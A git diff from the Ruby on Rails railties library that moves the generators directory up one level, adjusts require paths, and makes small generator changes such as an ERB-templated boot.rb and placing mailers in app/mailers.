--- a/railties/lib/rails/generators/erb/mailer/mailer_generator.rb
+++ b/railties/lib/generators/erb/mailer/mailer_generator.rb
@@ -1,4 +1,4 @@
-require 'rails/generators/erb'
+require 'generators/erb'
module Erb
module Generators
diff --git a/railties/lib/rails/generators/erb/mailer/templates/view.erb b/railties/lib/generators/erb/mailer/templates/view.erb
index fcce7bd805..fcce7bd805 100644
--- a/railties/lib/rails/generators/erb/mailer/templates/view.erb
+++ b/railties/lib/generators/erb/mailer/templates/view.erb
diff --git a/railties/lib/rails/generators/erb/scaffold/scaffold_generator.rb b/railties/lib/generators/erb/scaffold/scaffold_generator.rb
index de5b0e9c5d..846540476f 100644
--- a/railties/lib/rails/generators/erb/scaffold/scaffold_generator.rb
+++ b/railties/lib/generators/erb/scaffold/scaffold_generator.rb
@@ -1,4 +1,4 @@
-require 'rails/generators/erb'
+require 'generators/erb'
require 'rails/generators/resource_helpers'
module Erb
diff --git a/railties/lib/rails/generators/erb/scaffold/templates/_form.html.erb b/railties/lib/generators/erb/scaffold/templates/_form.html.erb
index 9c19a09616..9c19a09616 100644
--- a/railties/lib/rails/generators/erb/scaffold/templates/_form.html.erb
+++ b/railties/lib/generators/erb/scaffold/templates/_form.html.erb
diff --git a/railties/lib/rails/generators/erb/scaffold/templates/edit.html.erb b/railties/lib/generators/erb/scaffold/templates/edit.html.erb
index 5bc507ffc8..5bc507ffc8 100644
--- a/railties/lib/rails/generators/erb/scaffold/templates/edit.html.erb
+++ b/railties/lib/generators/erb/scaffold/templates/edit.html.erb
diff --git a/railties/lib/rails/generators/erb/scaffold/templates/index.html.erb b/railties/lib/generators/erb/scaffold/templates/index.html.erb
index b5c7fd1e58..b5c7fd1e58 100644
--- a/railties/lib/rails/generators/erb/scaffold/templates/index.html.erb
+++ b/railties/lib/generators/erb/scaffold/templates/index.html.erb
diff --git a/railties/lib/rails/generators/erb/scaffold/templates/layout.html.erb b/railties/lib/generators/erb/scaffold/templates/layout.html.erb
index 7aa049fe80..7aa049fe80 100644
--- a/railties/lib/rails/generators/erb/scaffold/templates/layout.html.erb
+++ b/railties/lib/generators/erb/scaffold/templates/layout.html.erb
diff --git a/railties/lib/rails/generators/erb/scaffold/templates/new.html.erb b/railties/lib/generators/erb/scaffold/templates/new.html.erb
index 9a1c489331..9a1c489331 100644
--- a/railties/lib/rails/generators/erb/scaffold/templates/new.html.erb
+++ b/railties/lib/generators/erb/scaffold/templates/new.html.erb
diff --git a/railties/lib/rails/generators/erb/scaffold/templates/show.html.erb b/railties/lib/generators/erb/scaffold/templates/show.html.erb
index 24f13fc0f8..24f13fc0f8 100644
--- a/railties/lib/rails/generators/erb/scaffold/templates/show.html.erb
+++ b/railties/lib/generators/erb/scaffold/templates/show.html.erb
diff --git a/railties/lib/rails/generators/rails/app/USAGE b/railties/lib/generators/rails/app/USAGE
index 36d6061a59..36d6061a59 100644
--- a/railties/lib/rails/generators/rails/app/USAGE
+++ b/railties/lib/generators/rails/app/USAGE
diff --git a/railties/lib/rails/generators/rails/app/app_generator.rb b/railties/lib/generators/rails/app/app_generator.rb
index d58d245168..2e34992b3b 100644
--- a/railties/lib/rails/generators/rails/app/app_generator.rb
+++ b/railties/lib/generators/rails/app/app_generator.rb
@@ -5,7 +5,7 @@ require 'rails/version' unless defined?(Rails::VERSION)
module Rails::Generators
# We need to store the RAILS_DEV_PATH in a constant, otherwise the path
# can change in Ruby 1.8.7 when we FileUtils.cd.
- RAILS_DEV_PATH = File.expand_path("../../../../../..", File.dirname(__FILE__))
+ RAILS_DEV_PATH = File.expand_path("../../../../..", File.dirname(__FILE__))
class AppGenerator < Base
DATABASES = %w( mysql oracle postgresql sqlite3 frontbase ibm_db )
@@ -35,7 +35,7 @@ module Rails::Generators
:desc => "Skip Prototype files"
class_option :skip_git, :type => :boolean, :aliases => "-G", :default => false,
- :desc => "Skip Git ignores and keeps"
+ :desc => "Skip Git ignores and keeps"
# Add bin/rails options
class_option :version, :type => :boolean, :aliases => "-v", :group => :rails,
@@ -87,7 +87,7 @@ module Rails::Generators
end
def create_boot_file
- copy_file "config/boot.rb"
+ template "config/boot.rb"
end
def create_activerecord_files
diff --git a/railties/lib/rails/generators/rails/app/templates/Gemfile b/railties/lib/generators/rails/app/templates/Gemfile
index 7b5c89c3e2..7b5c89c3e2 100644
--- a/railties/lib/rails/generators/rails/app/templates/Gemfile
+++ b/railties/lib/generators/rails/app/templates/Gemfile
diff --git a/railties/lib/rails/generators/rails/app/templates/README b/railties/lib/generators/rails/app/templates/README
index 37ec8ea211..37ec8ea211 100644
--- a/railties/lib/rails/generators/rails/app/templates/README
+++ b/railties/lib/generators/rails/app/templates/README
diff --git a/railties/lib/rails/generators/rails/app/templates/Rakefile b/railties/lib/generators/rails/app/templates/Rakefile
index c19ad0e945..c19ad0e945 100755
--- a/railties/lib/rails/generators/rails/app/templates/Rakefile
+++ b/railties/lib/generators/rails/app/templates/Rakefile
diff --git a/railties/lib/rails/generators/rails/app/templates/app/controllers/application_controller.rb b/railties/lib/generators/rails/app/templates/app/controllers/application_controller.rb
index 2cdf4eae54..2cdf4eae54 100644
--- a/railties/lib/rails/generators/rails/app/templates/app/controllers/application_controller.rb
+++ b/railties/lib/generators/rails/app/templates/app/controllers/application_controller.rb
diff --git a/railties/lib/rails/generators/rails/app/templates/app/helpers/application_helper.rb b/railties/lib/generators/rails/app/templates/app/helpers/application_helper.rb
index de6be7945c..de6be7945c 100644
--- a/railties/lib/rails/generators/rails/app/templates/app/helpers/application_helper.rb
+++ b/railties/lib/generators/rails/app/templates/app/helpers/application_helper.rb
diff --git a/railties/lib/rails/generators/rails/app/templates/app/models/.empty_directory b/railties/lib/generators/rails/app/templates/app/models/.empty_directory
index e69de29bb2..e69de29bb2 100644
--- a/railties/lib/rails/generators/rails/app/templates/app/models/.empty_directory
+++ b/railties/lib/generators/rails/app/templates/app/models/.empty_directory
diff --git a/railties/lib/rails/generators/rails/app/templates/app/views/layouts/.empty_directory b/railties/lib/generators/rails/app/templates/app/views/layouts/.empty_directory
index e69de29bb2..e69de29bb2 100644
--- a/railties/lib/rails/generators/rails/app/templates/app/views/layouts/.empty_directory
+++ b/railties/lib/generators/rails/app/templates/app/views/layouts/.empty_directory
diff --git a/railties/lib/rails/generators/rails/app/templates/config.ru b/railties/lib/generators/rails/app/templates/config.ru
index 2ab821e38d..2ab821e38d 100644
--- a/railties/lib/rails/generators/rails/app/templates/config.ru
+++ b/railties/lib/generators/rails/app/templates/config.ru
diff --git a/railties/lib/rails/generators/rails/app/templates/config/application.rb b/railties/lib/generators/rails/app/templates/config/application.rb
index 334820826f..334820826f 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/application.rb
+++ b/railties/lib/generators/rails/app/templates/config/application.rb
diff --git a/railties/lib/rails/generators/rails/app/templates/config/boot.rb b/railties/lib/generators/rails/app/templates/config/boot.rb
index 6de1725260..466e1e50ec 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/boot.rb
+++ b/railties/lib/generators/rails/app/templates/config/boot.rb
@@ -13,7 +13,9 @@ else
require 'rubygems'
end
+<% unless options[:skip_activerecord] -%>
require 'rails/all'
+
# To pick the frameworks you want, remove 'require "rails/all"'
# and list the framework railties that you want:
#
@@ -22,4 +24,13 @@ require 'rails/all'
# require "action_controller/railtie"
# require "action_view/railtie"
# require "action_mailer/railtie"
-# require "active_resource/railtie" \ No newline at end of file
+# require "active_resource/railtie"
+<% else -%>
+# Pick the frameworks you want:
+# require "active_record/railtie"
+require "active_model/railtie"
+require "action_controller/railtie"
+require "action_view/railtie"
+require "action_mailer/railtie"
+require "active_resource/railtie"
+<% end -%> \ No newline at end of file
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/frontbase.yml b/railties/lib/generators/rails/app/templates/config/databases/frontbase.yml
index c0c3588be1..c0c3588be1 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/frontbase.yml
+++ b/railties/lib/generators/rails/app/templates/config/databases/frontbase.yml
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/ibm_db.yml b/railties/lib/generators/rails/app/templates/config/databases/ibm_db.yml
index a9716ddb44..a9716ddb44 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/ibm_db.yml
+++ b/railties/lib/generators/rails/app/templates/config/databases/ibm_db.yml
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/mysql.yml b/railties/lib/generators/rails/app/templates/config/databases/mysql.yml
index 6bf2f7b1fd..6bf2f7b1fd 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/mysql.yml
+++ b/railties/lib/generators/rails/app/templates/config/databases/mysql.yml
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/oracle.yml b/railties/lib/generators/rails/app/templates/config/databases/oracle.yml
index a1883f6256..a1883f6256 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/oracle.yml
+++ b/railties/lib/generators/rails/app/templates/config/databases/oracle.yml
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml b/railties/lib/generators/rails/app/templates/config/databases/postgresql.yml
index f600e054cf..f600e054cf 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml
+++ b/railties/lib/generators/rails/app/templates/config/databases/postgresql.yml
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/sqlite3.yml b/railties/lib/generators/rails/app/templates/config/databases/sqlite3.yml
index 025d62a8d8..025d62a8d8 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/sqlite3.yml
+++ b/railties/lib/generators/rails/app/templates/config/databases/sqlite3.yml
diff --git a/railties/lib/rails/generators/rails/app/templates/config/environment.rb b/railties/lib/generators/rails/app/templates/config/environment.rb
index 1684986a59..1684986a59 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/environment.rb
+++ b/railties/lib/generators/rails/app/templates/config/environment.rb
diff --git a/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt b/railties/lib/generators/rails/app/templates/config/environments/development.rb.tt
index b10103b436..b10103b436 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt
+++ b/railties/lib/generators/rails/app/templates/config/environments/development.rb.tt
diff --git a/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt b/railties/lib/generators/rails/app/templates/config/environments/production.rb.tt
index 543a40108c..543a40108c 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt
+++ b/railties/lib/generators/rails/app/templates/config/environments/production.rb.tt
diff --git a/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt b/railties/lib/generators/rails/app/templates/config/environments/test.rb.tt
index 428fa35633..428fa35633 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt
+++ b/railties/lib/generators/rails/app/templates/config/environments/test.rb.tt
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/backtrace_silencers.rb b/railties/lib/generators/rails/app/templates/config/initializers/backtrace_silencers.rb
index 839d4cde19..839d4cde19 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/initializers/backtrace_silencers.rb
+++ b/railties/lib/generators/rails/app/templates/config/initializers/backtrace_silencers.rb
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/cookie_verification_secret.rb.tt b/railties/lib/generators/rails/app/templates/config/initializers/cookie_verification_secret.rb.tt
index 451dbe1d1c..451dbe1d1c 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/initializers/cookie_verification_secret.rb.tt
+++ b/railties/lib/generators/rails/app/templates/config/initializers/cookie_verification_secret.rb.tt
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/inflections.rb b/railties/lib/generators/rails/app/templates/config/initializers/inflections.rb
index d531b8bb82..d531b8bb82 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/initializers/inflections.rb
+++ b/railties/lib/generators/rails/app/templates/config/initializers/inflections.rb
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/mime_types.rb b/railties/lib/generators/rails/app/templates/config/initializers/mime_types.rb
index 72aca7e441..72aca7e441 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/initializers/mime_types.rb
+++ b/railties/lib/generators/rails/app/templates/config/initializers/mime_types.rb
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/session_store.rb.tt b/railties/lib/generators/rails/app/templates/config/initializers/session_store.rb.tt
index baff704d3e..baff704d3e 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/initializers/session_store.rb.tt
+++ b/railties/lib/generators/rails/app/templates/config/initializers/session_store.rb.tt
diff --git a/railties/lib/rails/generators/rails/app/templates/config/locales/en.yml b/railties/lib/generators/rails/app/templates/config/locales/en.yml
index f265c068d8..f265c068d8 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/locales/en.yml
+++ b/railties/lib/generators/rails/app/templates/config/locales/en.yml
diff --git a/railties/lib/rails/generators/rails/app/templates/config/routes.rb b/railties/lib/generators/rails/app/templates/config/routes.rb
index d6c0365c04..d6c0365c04 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/routes.rb
+++ b/railties/lib/generators/rails/app/templates/config/routes.rb
diff --git a/railties/lib/rails/generators/rails/app/templates/db/seeds.rb b/railties/lib/generators/rails/app/templates/db/seeds.rb
index bc8695e6f0..bc8695e6f0 100644
--- a/railties/lib/rails/generators/rails/app/templates/db/seeds.rb
+++ b/railties/lib/generators/rails/app/templates/db/seeds.rb
diff --git a/railties/lib/rails/generators/rails/app/templates/doc/README_FOR_APP b/railties/lib/generators/rails/app/templates/doc/README_FOR_APP
index fe41f5cc24..fe41f5cc24 100644
--- a/railties/lib/rails/generators/rails/app/templates/doc/README_FOR_APP
+++ b/railties/lib/generators/rails/app/templates/doc/README_FOR_APP
diff --git a/railties/lib/rails/generators/rails/app/templates/gitignore b/railties/lib/generators/rails/app/templates/gitignore
index a4f05d101d..a4f05d101d 100644
--- a/railties/lib/rails/generators/rails/app/templates/gitignore
+++ b/railties/lib/generators/rails/app/templates/gitignore
diff --git a/railties/lib/rails/generators/rails/app/templates/public/404.html b/railties/lib/generators/rails/app/templates/public/404.html
index 9a48320a5f..9a48320a5f 100644
--- a/railties/lib/rails/generators/rails/app/templates/public/404.html
+++ b/railties/lib/generators/rails/app/templates/public/404.html
diff --git a/railties/lib/rails/generators/rails/app/templates/public/422.html b/railties/lib/generators/rails/app/templates/public/422.html
index 83660ab187..83660ab187 100644
--- a/railties/lib/rails/generators/rails/app/templates/public/422.html
+++ b/railties/lib/generators/rails/app/templates/public/422.html
diff --git a/railties/lib/rails/generators/rails/app/templates/public/500.html b/railties/lib/generators/rails/app/templates/public/500.html
index b80307fc16..b80307fc16 100644
--- a/railties/lib/rails/generators/rails/app/templates/public/500.html
+++ b/railties/lib/generators/rails/app/templates/public/500.html
diff --git a/railties/lib/rails/generators/rails/app/templates/public/favicon.ico b/railties/lib/generators/rails/app/templates/public/favicon.ico
index e69de29bb2..e69de29bb2 100644
--- a/railties/lib/rails/generators/rails/app/templates/public/favicon.ico
+++ b/railties/lib/generators/rails/app/templates/public/favicon.ico
diff --git a/railties/lib/rails/generators/rails/app/templates/public/images/rails.png b/railties/lib/generators/rails/app/templates/public/images/rails.png
index d5edc04e65..d5edc04e65 100644
--- a/railties/lib/rails/generators/rails/app/templates/public/images/rails.png
+++ b/railties/lib/generators/rails/app/templates/public/images/rails.png
Binary files differ
diff --git a/railties/lib/rails/generators/rails/app/templates/public/index.html b/railties/lib/generators/rails/app/templates/public/index.html
index b153ae392f..b153ae392f 100644
--- a/railties/lib/rails/generators/rails/app/templates/public/index.html
+++ b/railties/lib/generators/rails/app/templates/public/index.html
diff --git a/railties/lib/rails/generators/rails/app/templates/public/javascripts/application.js b/railties/lib/generators/rails/app/templates/public/javascripts/application.js
index fe4577696b..fe4577696b 100644
--- a/railties/lib/rails/generators/rails/app/templates/public/javascripts/application.js
+++ b/railties/lib/generators/rails/app/templates/public/javascripts/application.js
diff --git a/railties/lib/rails/generators/rails/app/templates/public/javascripts/controls.js b/railties/lib/generators/rails/app/templates/public/javascripts/controls.js
index ca29aefdd1..ca29aefdd1 100644
--- a/railties/lib/rails/generators/rails/app/templates/public/javascripts/controls.js
+++ b/railties/lib/generators/rails/app/templates/public/javascripts/controls.js
diff --git a/railties/lib/rails/generators/rails/app/templates/public/javascripts/dragdrop.js b/railties/lib/generators/rails/app/templates/public/javascripts/dragdrop.js
index 07229f986f..07229f986f 100644
--- a/railties/lib/rails/generators/rails/app/templates/public/javascripts/dragdrop.js
+++ b/railties/lib/generators/rails/app/templates/public/javascripts/dragdrop.js
diff --git a/railties/lib/rails/generators/rails/app/templates/public/javascripts/effects.js b/railties/lib/generators/rails/app/templates/public/javascripts/effects.js
index 5a639d2dea..5a639d2dea 100644
--- a/railties/lib/rails/generators/rails/app/templates/public/javascripts/effects.js
+++ b/railties/lib/generators/rails/app/templates/public/javascripts/effects.js
diff --git a/railties/lib/rails/generators/rails/app/templates/public/javascripts/prototype.js b/railties/lib/generators/rails/app/templates/public/javascripts/prototype.js
index dfe8ab4e13..dfe8ab4e13 100644
--- a/railties/lib/rails/generators/rails/app/templates/public/javascripts/prototype.js
+++ b/railties/lib/generators/rails/app/templates/public/javascripts/prototype.js
diff --git a/railties/lib/rails/generators/rails/app/templates/public/robots.txt b/railties/lib/generators/rails/app/templates/public/robots.txt
index 085187fa58..085187fa58 100644
--- a/railties/lib/rails/generators/rails/app/templates/public/robots.txt
+++ b/railties/lib/generators/rails/app/templates/public/robots.txt
diff --git a/railties/lib/rails/generators/rails/app/templates/public/stylesheets/.empty_directory b/railties/lib/generators/rails/app/templates/public/stylesheets/.empty_directory
index e69de29bb2..e69de29bb2 100644
--- a/railties/lib/rails/generators/rails/app/templates/public/stylesheets/.empty_directory
+++ b/railties/lib/generators/rails/app/templates/public/stylesheets/.empty_directory
diff --git a/railties/lib/rails/generators/rails/app/templates/script/about b/railties/lib/generators/rails/app/templates/script/about
index 93fd007649..93fd007649 100755
--- a/railties/lib/rails/generators/rails/app/templates/script/about
+++ b/railties/lib/generators/rails/app/templates/script/about
diff --git a/railties/lib/rails/generators/rails/app/templates/script/console.tt b/railties/lib/generators/rails/app/templates/script/console.tt
index daba8ba2f1..daba8ba2f1 100755
--- a/railties/lib/rails/generators/rails/app/templates/script/console.tt
+++ b/railties/lib/generators/rails/app/templates/script/console.tt
diff --git a/railties/lib/rails/generators/rails/app/templates/script/dbconsole.tt b/railties/lib/generators/rails/app/templates/script/dbconsole.tt
index a7f114a97f..a7f114a97f 100755
--- a/railties/lib/rails/generators/rails/app/templates/script/dbconsole.tt
+++ b/railties/lib/generators/rails/app/templates/script/dbconsole.tt
diff --git a/railties/lib/rails/generators/rails/app/templates/script/destroy b/railties/lib/generators/rails/app/templates/script/destroy
index adfa8e8426..adfa8e8426 100755
--- a/railties/lib/rails/generators/rails/app/templates/script/destroy
+++ b/railties/lib/generators/rails/app/templates/script/destroy
diff --git a/railties/lib/rails/generators/rails/app/templates/script/generate b/railties/lib/generators/rails/app/templates/script/generate
index 6fb8ad0395..6fb8ad0395 100755
--- a/railties/lib/rails/generators/rails/app/templates/script/generate
+++ b/railties/lib/generators/rails/app/templates/script/generate
diff --git a/railties/lib/rails/generators/rails/app/templates/script/performance/benchmarker b/railties/lib/generators/rails/app/templates/script/performance/benchmarker
index 9647d8f10a..9647d8f10a 100755
--- a/railties/lib/rails/generators/rails/app/templates/script/performance/benchmarker
+++ b/railties/lib/generators/rails/app/templates/script/performance/benchmarker
diff --git a/railties/lib/rails/generators/rails/app/templates/script/performance/profiler b/railties/lib/generators/rails/app/templates/script/performance/profiler
index a5822042d2..a5822042d2 100755
--- a/railties/lib/rails/generators/rails/app/templates/script/performance/profiler
+++ b/railties/lib/generators/rails/app/templates/script/performance/profiler
diff --git a/railties/lib/rails/generators/rails/app/templates/script/plugin b/railties/lib/generators/rails/app/templates/script/plugin
index 1f1af6c880..1f1af6c880 100755
--- a/railties/lib/rails/generators/rails/app/templates/script/plugin
+++ b/railties/lib/generators/rails/app/templates/script/plugin
diff --git a/railties/lib/rails/generators/rails/app/templates/script/runner b/railties/lib/generators/rails/app/templates/script/runner
index 3354ed4a28..3354ed4a28 100755
--- a/railties/lib/rails/generators/rails/app/templates/script/runner
+++ b/railties/lib/generators/rails/app/templates/script/runner
diff --git a/railties/lib/rails/generators/rails/app/templates/script/server.tt b/railties/lib/generators/rails/app/templates/script/server.tt
index 4fd0cc7832..4fd0cc7832 100755
--- a/railties/lib/rails/generators/rails/app/templates/script/server.tt
+++ b/railties/lib/generators/rails/app/templates/script/server.tt
diff --git a/railties/lib/rails/generators/rails/app/templates/test/fixtures/.empty_directory b/railties/lib/generators/rails/app/templates/test/fixtures/.empty_directory
index e69de29bb2..e69de29bb2 100644
--- a/railties/lib/rails/generators/rails/app/templates/test/fixtures/.empty_directory
+++ b/railties/lib/generators/rails/app/templates/test/fixtures/.empty_directory
diff --git a/railties/lib/rails/generators/rails/app/templates/test/functional/.empty_directory b/railties/lib/generators/rails/app/templates/test/functional/.empty_directory
index e69de29bb2..e69de29bb2 100644
--- a/railties/lib/rails/generators/rails/app/templates/test/functional/.empty_directory
+++ b/railties/lib/generators/rails/app/templates/test/functional/.empty_directory
diff --git a/railties/lib/rails/generators/rails/app/templates/test/integration/.empty_directory b/railties/lib/generators/rails/app/templates/test/integration/.empty_directory
index e69de29bb2..e69de29bb2 100644
--- a/railties/lib/rails/generators/rails/app/templates/test/integration/.empty_directory
+++ b/railties/lib/generators/rails/app/templates/test/integration/.empty_directory
diff --git a/railties/lib/rails/generators/rails/app/templates/test/performance/browsing_test.rb b/railties/lib/generators/rails/app/templates/test/performance/browsing_test.rb
index a3dc38d9e4..a3dc38d9e4 100644
--- a/railties/lib/rails/generators/rails/app/templates/test/performance/browsing_test.rb
+++ b/railties/lib/generators/rails/app/templates/test/performance/browsing_test.rb
diff --git a/railties/lib/rails/generators/rails/app/templates/test/test_helper.rb b/railties/lib/generators/rails/app/templates/test/test_helper.rb
index 45b551fc7d..45b551fc7d 100644
--- a/railties/lib/rails/generators/rails/app/templates/test/test_helper.rb
+++ b/railties/lib/generators/rails/app/templates/test/test_helper.rb
diff --git a/railties/lib/rails/generators/rails/app/templates/test/unit/.empty_directory b/railties/lib/generators/rails/app/templates/test/unit/.empty_directory
index e69de29bb2..e69de29bb2 100644
--- a/railties/lib/rails/generators/rails/app/templates/test/unit/.empty_directory
+++ b/railties/lib/generators/rails/app/templates/test/unit/.empty_directory
diff --git a/railties/lib/rails/generators/rails/controller/USAGE b/railties/lib/generators/rails/controller/USAGE
index 6ed4b2edfc..6ed4b2edfc 100644
--- a/railties/lib/rails/generators/rails/controller/USAGE
+++ b/railties/lib/generators/rails/controller/USAGE
diff --git a/railties/lib/rails/generators/rails/controller/controller_generator.rb b/railties/lib/generators/rails/controller/controller_generator.rb
index 91470be833..91470be833 100644
--- a/railties/lib/rails/generators/rails/controller/controller_generator.rb
+++ b/railties/lib/generators/rails/controller/controller_generator.rb
diff --git a/railties/lib/rails/generators/rails/controller/templates/controller.rb b/railties/lib/generators/rails/controller/templates/controller.rb
index cda2659e69..cda2659e69 100644
--- a/railties/lib/rails/generators/rails/controller/templates/controller.rb
+++ b/railties/lib/generators/rails/controller/templates/controller.rb
diff --git a/railties/lib/rails/generators/rails/generator/USAGE b/railties/lib/generators/rails/generator/USAGE
index ca7d3f62d0..ca7d3f62d0 100644
--- a/railties/lib/rails/generators/rails/generator/USAGE
+++ b/railties/lib/generators/rails/generator/USAGE
diff --git a/railties/lib/rails/generators/rails/generator/generator_generator.rb b/railties/lib/generators/rails/generator/generator_generator.rb
index 5b5d1884bc..5b5d1884bc 100644
--- a/railties/lib/rails/generators/rails/generator/generator_generator.rb
+++ b/railties/lib/generators/rails/generator/generator_generator.rb
diff --git a/railties/lib/rails/generators/rails/generator/templates/%file_name%_generator.rb.tt b/railties/lib/generators/rails/generator/templates/%file_name%_generator.rb.tt
index d8757460e4..d8757460e4 100644
--- a/railties/lib/rails/generators/rails/generator/templates/%file_name%_generator.rb.tt
+++ b/railties/lib/generators/rails/generator/templates/%file_name%_generator.rb.tt
diff --git a/railties/lib/rails/generators/rails/generator/templates/USAGE.tt b/railties/lib/generators/rails/generator/templates/USAGE.tt
index ea9f4f12cc..ea9f4f12cc 100644
--- a/railties/lib/rails/generators/rails/generator/templates/USAGE.tt
+++ b/railties/lib/generators/rails/generator/templates/USAGE.tt
diff --git a/railties/lib/rails/generators/rails/generator/templates/templates/.empty_directory b/railties/lib/generators/rails/generator/templates/templates/.empty_directory
index e69de29bb2..e69de29bb2 100644
--- a/railties/lib/rails/generators/rails/generator/templates/templates/.empty_directory
+++ b/railties/lib/generators/rails/generator/templates/templates/.empty_directory
diff --git a/railties/lib/rails/generators/rails/helper/USAGE b/railties/lib/generators/rails/helper/USAGE
index 531c9b390a..531c9b390a 100644
--- a/railties/lib/rails/generators/rails/helper/USAGE
+++ b/railties/lib/generators/rails/helper/USAGE
diff --git a/railties/lib/rails/generators/rails/helper/helper_generator.rb b/railties/lib/generators/rails/helper/helper_generator.rb
index ad66388591..ad66388591 100644
--- a/railties/lib/rails/generators/rails/helper/helper_generator.rb
+++ b/railties/lib/generators/rails/helper/helper_generator.rb
diff --git a/railties/lib/rails/generators/rails/helper/templates/helper.rb b/railties/lib/generators/rails/helper/templates/helper.rb
index 3fe2ecdc74..3fe2ecdc74 100644
--- a/railties/lib/rails/generators/rails/helper/templates/helper.rb
+++ b/railties/lib/generators/rails/helper/templates/helper.rb
diff --git a/railties/lib/rails/generators/rails/integration_test/USAGE b/railties/lib/generators/rails/integration_test/USAGE
index b76c35a702..b76c35a702 100644
--- a/railties/lib/rails/generators/rails/integration_test/USAGE
+++ b/railties/lib/generators/rails/integration_test/USAGE
diff --git a/railties/lib/rails/generators/rails/integration_test/integration_test_generator.rb b/railties/lib/generators/rails/integration_test/integration_test_generator.rb
index 363a327fcb..363a327fcb 100644
--- a/railties/lib/rails/generators/rails/integration_test/integration_test_generator.rb
+++ b/railties/lib/generators/rails/integration_test/integration_test_generator.rb
diff --git a/railties/lib/rails/generators/rails/mailer/USAGE b/railties/lib/generators/rails/mailer/USAGE
index c56095b2c8..4b0b8ddc3b 100644
--- a/railties/lib/rails/generators/rails/mailer/USAGE
+++ b/railties/lib/generators/rails/mailer/USAGE
@@ -9,7 +9,7 @@ Example:
`./script/generate mailer Notifications signup forgot_password invoice`
creates a Notifications mailer class, views, test, and fixtures:
- Mailer: app/models/notifications.rb
+ Mailer: app/mailers/notifications.rb
Views: app/views/notifications/signup.erb [...]
- Test: test/unit/test/unit/notifications_test.rb
+ Test: test/functional/notifications_test.rb
Fixtures: test/fixtures/notifications/signup [...]
diff --git a/railties/lib/rails/generators/rails/mailer/mailer_generator.rb b/railties/lib/generators/rails/mailer/mailer_generator.rb
index 33f1665b83..8993181d79 100644
--- a/railties/lib/rails/generators/rails/mailer/mailer_generator.rb
+++ b/railties/lib/generators/rails/mailer/mailer_generator.rb
@@ -5,7 +5,7 @@ module Rails
check_class_collision
def create_mailer_file
- template "mailer.rb", File.join('app/models', class_path, "#{file_name}.rb")
+ template "mailer.rb", File.join('app/mailers', class_path, "#{file_name}.rb")
end
hook_for :template_engine, :test_framework
diff --git a/railties/lib/rails/generators/rails/mailer/templates/mailer.rb b/railties/lib/generators/rails/mailer/templates/mailer.rb
index 90e0b712d6..90e0b712d6 100644
--- a/railties/lib/rails/generators/rails/mailer/templates/mailer.rb
+++ b/railties/lib/generators/rails/mailer/templates/mailer.rb
diff --git a/railties/lib/rails/generators/rails/metal/USAGE b/railties/lib/generators/rails/metal/USAGE
index 123ec6c03f..123ec6c03f 100644
--- a/railties/lib/rails/generators/rails/metal/USAGE
+++ b/railties/lib/generators/rails/metal/USAGE
diff --git a/railties/lib/rails/generators/rails/metal/metal_generator.rb b/railties/lib/generators/rails/metal/metal_generator.rb
index fe4f945cad..fe4f945cad 100644
--- a/railties/lib/rails/generators/rails/metal/metal_generator.rb
+++ b/railties/lib/generators/rails/metal/metal_generator.rb
diff --git a/railties/lib/rails/generators/rails/metal/templates/metal.rb b/railties/lib/generators/rails/metal/templates/metal.rb
index e94982b69a..e94982b69a 100644
--- a/railties/lib/rails/generators/rails/metal/templates/metal.rb
+++ b/railties/lib/generators/rails/metal/templates/metal.rb
diff --git a/railties/lib/rails/generators/rails/migration/USAGE b/railties/lib/generators/rails/migration/USAGE
index d91127aac3..d91127aac3 100644
--- a/railties/lib/rails/generators/rails/migration/USAGE
+++ b/railties/lib/generators/rails/migration/USAGE
diff --git a/railties/lib/rails/generators/rails/migration/migration_generator.rb b/railties/lib/generators/rails/migration/migration_generator.rb
index 39fa5b63b1..39fa5b63b1 100644
--- a/railties/lib/rails/generators/rails/migration/migration_generator.rb
+++ b/railties/lib/generators/rails/migration/migration_generator.rb
diff --git a/railties/lib/rails/generators/rails/model/USAGE b/railties/lib/generators/rails/model/USAGE
index b056d5df8b..b056d5df8b 100644
--- a/railties/lib/rails/generators/rails/model/USAGE
+++ b/railties/lib/generators/rails/model/USAGE
diff --git a/railties/lib/rails/generators/rails/model/model_generator.rb b/railties/lib/generators/rails/model/model_generator.rb
index 629d5eed3f..629d5eed3f 100644
--- a/railties/lib/rails/generators/rails/model/model_generator.rb
+++ b/railties/lib/generators/rails/model/model_generator.rb
diff --git a/railties/lib/rails/generators/rails/model_subclass/model_subclass_generator.rb b/railties/lib/generators/rails/model_subclass/model_subclass_generator.rb
index 4649709780..99fd2f45bc 100644
--- a/railties/lib/rails/generators/rails/model_subclass/model_subclass_generator.rb
+++ b/railties/lib/generators/rails/model_subclass/model_subclass_generator.rb
